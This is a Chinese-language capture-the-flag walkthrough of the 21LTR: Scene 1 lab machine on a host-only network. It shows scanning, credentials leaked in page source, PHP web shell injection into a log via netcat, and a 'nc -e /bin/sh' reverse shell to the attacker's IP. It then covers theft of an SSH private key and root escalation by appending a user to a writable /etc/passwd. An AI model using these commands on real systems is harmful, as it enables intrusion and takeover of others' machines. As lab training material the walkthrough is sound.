0x01 项目地址
0x02 环境搭建
靶机 | 21LTR:SCENE 1 | 仅主机模式 192.168.2.120 |
攻击机 | kali | 仅主机模式 192.168.2.129 |
注:靶机IP默认为静态IP:192.168.2.120,因此kali需设置为仅主机模式,配置为相同网段
0x03 详细步骤
1.主机发现
arp-scan -l
2.端口扫描
nmap 192.168.2.120
可以看到开启了21、22、80、10001四个端口
既然开放了80端口,那么我们访问一下web
3.Web访问
浏览器访问192.168.2.120
,只有一个页面
4.目录扫描
dirb http://192.168.2.120/
发现有个logs
页面,我们尝试访问
提示拒绝访问
5.漏洞挖掘
三板斧抡完之后还未能得到有用的信息,此时再回到web页面看一下网页源码,找找有无可利用的信息
F12
查看源码,一点开就发现了重要线索username
password
username:logs
password:zg]E-b0]+8:(58G
在刚才端口扫描时还扫到了21ftp
和22ssh
端口,现在有了用户名和密码,可以尝试一下ftp
和ssh
连接
尝试后发现ssh
连接失败,显示权限被拒绝,ftp
连接成功
ftp 192.168.2.120
ls
查看一下当前目录下的文件,可以看到只有backup_log.php
一个文件
ls
我们将其下载到本地查看
get backup_log.php /home/kali/Desktop/1.php
exit
cat 1.php
根据文件名称和内容可以知道这是一份日志文件,之前在目录扫描是扫到了logs
页面,同时logs
也是这台靶机的一个用户,而且backup_log.php
这个文件也是logs
用户的文件,那我们不妨浏览器访问一下/logs/backup_log.php
http://192.168.2.120/logs/backup_log.php
发现是可以正常访问到的
既然可以访问日志文件,那么可以尝试将命令写到文件中看看能否被执行
在10001端口上启动一个netcat
会话,从而getshell
,并写入命令,在网页端拼接?cmd=id
尝试命令执行
nc -nv 192.168.2.120 10001
<?php system($_GET['cmd'])?>
发现可以成功执行命令
6.漏洞利用
既然可以命令执行,那就直接尝试反弹shell
# 使用命令
nc -e /bin/sh 192.168.2.129 6666
# 攻击机监听
nc -lvnp 6666
反弹成功,拿到shell
建立交互式的shell
python -c 'import pty; pty.spawn("/bin/sh")'
7.权限提升
因为开启了ssh
服务,所以读取一下密钥
cd /media/USB_1/Stuff/Keys
ls
查看authorized_keys
文件,可以看到是hbeale
用户
cat authorized_keys
查看密钥文件
cat id_rsa
尝试用密钥文件进行ssh登录
ssh -i id_rsa hbeale@192.168.2.120
登录成功,但是一个低权限用户
可以查看/etc/passwd
文件,尝试利用不安全配置/etc/passwd可写
进行提权
创建root权限的新用户,先生成密码
openssl passwd 123456
$1$krKmtPnS$BS/lH1eN8fxFCjQxQ52Gs0
写入新root用户到/etc/passwd
echo 'newroot:$1$krKmtPnS$BS/lH1eN8fxFCjQxQ52Gs0:0:0:root:/root:/bin/bash' >> /etc/passwd
su切换newroot用户
su newroot
123456
提权成功!